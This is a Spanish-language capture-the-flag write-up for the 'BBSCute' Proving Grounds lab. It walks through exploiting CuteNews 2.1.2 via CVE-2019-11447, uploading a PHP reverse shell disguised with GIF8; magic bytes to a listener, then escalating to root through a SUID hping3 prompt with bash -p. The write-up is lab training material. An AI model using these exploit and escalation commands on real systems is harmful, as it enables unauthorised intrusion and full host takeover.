the_open_door
café
ESEN

BBSecute

Proving Grounds PlayFácilLinux192.168.144.128

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#oscp#cutenews#cve-2019-11447#file-upload#magic-bytes#avatar-upload#rce#suid#hping3#gtfobins
TL;DR. El puerto 80 sirve un CuteNews 2.1.2, vulnerable a CVE-2019-11447: se registra una cuenta, se sube un .php disfrazado con los magic bytes GIF8; como avatar y se dispara para RCE como www-data. Para root, el binario /usr/sbin/hping3 tiene el bit SUID: su prompt interactivo permite lanzar bash -p, que conserva el euid=0 del binario.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Cinco puertos, con la web (80) como superficie principal. Los otros (SSH en el 22, y Kerberos/POP3/POP3S en 88/110/995) los dejamos deprioritizados a propósito: sin usuarios ni contraseñas no hay nada que lanzar contra ellos, así que arrancamos por la web y volveríamos a estos servicios solo si más adelante consiguiéramos credenciales. No es que se hayan comprobado y descartado, es que no ofrecen un punto de entrada sin autenticación previa:

ping -c 1 192.168.144.128     # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.128
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
88/tcp  open  kerberos-sec
110/tcp open  pop3
995/tcp open  pop3s
nmap -p22,80,88,110,995 -sCV 192.168.144.128
PORT    STATE SERVICE      VERSION
22/tcp  open  ssh          OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp  open  http         Apache httpd 2.4.38 ((Debian))
88/tcp  open  kerberos-sec
110/tcp open  pop3
995/tcp open  pop3s

CuteNews - TCP 80

La portada es el Apache por defecto, pero dirsearch destapa la estructura de un CMS: /index.php/login, /uploads/, /example.php, /core, /libs...

dirsearch -u http://192.168.144.128/ --exclude-status=403,404

dirsearch encuentra /index.php/login, /uploads, /example.php y el resto de rutas del CMS

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

301 -  317B  - /core
200 -    0B  - /docs/
200 -    3KB - /example.php
200 -    2KB - /index.php
200 -    2KB - /index.php/login/
301 -  317B  - /libs
200 -    1KB - /LICENSE.txt
200 -  201B  - /manual/index.html
200 -   28B  - /print.php
200 -    2KB - /README.md
200 -  118B  - /rss.php
200 -  763B  - /search.php
301 -  318B  - /skins
200 -    0B  - /uploads/

El example.php es un CuteNews y sus enlaces revelan el dominio cute.calipendula, que añadimos al /etc/hosts:

example.php de CuteNews; sus enlaces apuntan a http://cute.calipendula/example.php?do=archives

echo '192.168.144.128 cute.calipendula' | sudo tee -a /etc/hosts

Con el dominio resuelto, la página de login confirma la versión al pie: CuteNews 2.1.2 (con enlace de Register abierto):

Login de CuteNews en cute.calipendula/index.php/login; al pie Powered by CuteNews 2.1.2 y enlace Register

CuteNews news management system
  Login

Please sign in
  User:
  Password:
  [ ] Remember me
  [ Sign in ]  Register  (lost password)

Powered by CuteNews 2.1.2 (c) 2002-2025 CutePHP. (unregistered)

Esa versión tiene un exploit público conocido: CVE-2019-11447, una subida de avatar que acaba en ejecución remota de código.

Repo de ColdFusionX en GitHub: CVE-2019-11447 CuteNews 2.1.2 Avatar upload RCE, con exploit.py y rev.php

Shell como www-data

CuteNews 2.1.2 avatar upload (CVE-2019-11447)

CuteNews permite registrar usuarios libremente y que cada uno suba un avatar. El fallo: el filtro de la imagen se contenta con los magic bytes de la cabecera, no con la extensión ni el contenido real. Un .php que empiece por GIF8; pasa como "GIF" válido pero el servidor lo ejecuta como PHP. El exploit de ColdFusionX automatiza todo el flujo (registro → subida → disparo):

git clone https://github.com/ColdFusionX/CVE-2019-11447_CuteNews-AvatarUploadRCE
cd CVE-2019-11447_CuteNews-AvatarUploadRCE
# rev.php: IP y puerto propios
penelope 4444   # listener para la revshell (puerto de rev.php)
python3 exploit.py -l http://cute.calipendula -u test -p test123 -e test@test.com

El rev.php que trae el repositorio no es nada exótico: es una reverse shell PHP estándar (un fsockopen/exec hacia la IP y puerto que le indiquemos), y es lo que el avatar termina ejecutando. Por eso hay que dejar el listener a la escucha en el puerto que hayamos puesto dentro de rev.php antes de disparar.

Registro de usuario en CuteNews 2.1.2, primer paso del exploit de subida de avatar

El script hace login como test, añade el magic byte al rev.php, lo sube como avatar a /uploads/avatar_test_test.php y, al pulsar y, lo visita para disparar la revshell. Penelope recibe la conexión como www-data y la promociona a PTY:

exploit.py de ColdFusionX: login OK, upload successful, avatar_test_test.php disparado y Penelope recibe la shell como www-data

www-data@cute:/var/www$ cat local.txt && id
29f544eabf65ac4c9d6e16653c16baef
uid=33(www-data) gid=33(www-data) groups=33(www-data)

local.txt leída como www-data en el host cute

El truco de los magic bytes es la clave: se antepone GIF8; para colar el .php, y como PHP ignora todo lo que no esté entre <?php ?>, la cabecera falsa no rompe la ejecución.

Escalada de Privilegios

SUID hping3

Un barrido de binarios SUID encuentra uno fuera de lo común:

find / -perm -4000 2>/dev/null
# /usr/sbin/hping3

hping3 tiene un modo interactivo (una consola Tcl). Con el bit SUID activo, cualquier proceso que lance desde ese prompt hereda el euid=0 del binario, así que basta con abrir su consola y pedir un bash -p:

hping3
# hping3> bash -p

hping3 SUID: su prompt lanza bash -p y da root

bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

bash -p es imprescindible: sin -p, bash descartaría el euid=0 heredado al arrancar. Con él, el resultado es root efectivo.

local.txt / proof.txt

www-data@cute:/var/www$ cat local.txt
29f544eabf65ac4c9d6e16653c16baef

bash-5.0# cat /root/proof.txt
1dc170d47140f45e53340577afe98535

proof.txt leído como root

Cadena de ataque

Web (80) → CuteNews 2.1.2 en cute.calipendula
  └─ CVE-2019-11447: registro + avatar .php con magic bytes GIF8;
     └─ /uploads/avatar_test_test.php disparado → www-data
        └─ find / -perm -4000 → /usr/sbin/hping3 (SUID)
           └─ hping3 → prompt interactivo → bash -p → root

Lecciones aprendidas

  • CuteNews 2.1.2 es un objetivo directo: registro abierto + subida de avatar + CVE-2019-11447. Identificar la versión exacta (2.1.2) es lo que conecta con el exploit público.
  • Validar una subida solo por los magic bytes es inútil frente a un .php que empieza por GIF8;: el fichero pasa el filtro de "imagen" y el intérprete PHP ignora la cabecera falsa. Hay que validar extensión, tipo real y, sobre todo, no servir el directorio de subidas como ejecutable.
  • Un binario con SUID que ofrece un modo interactivo o de scripting (aquí la consola de hping3) es una escalada casi gratis: hereda euid=0 y ejecuta lo que se le pida. find / -perm -4000 es de lo primero a lanzar con cualquier shell.
  • bash -p es el detalle que cierra la escalada por SUID: preserva el euid heredado en lugar de dejarlo caer, que es lo que bash hace por defecto por seguridad.
Cheatsheet de comandos 9 comandos

Repaso rápido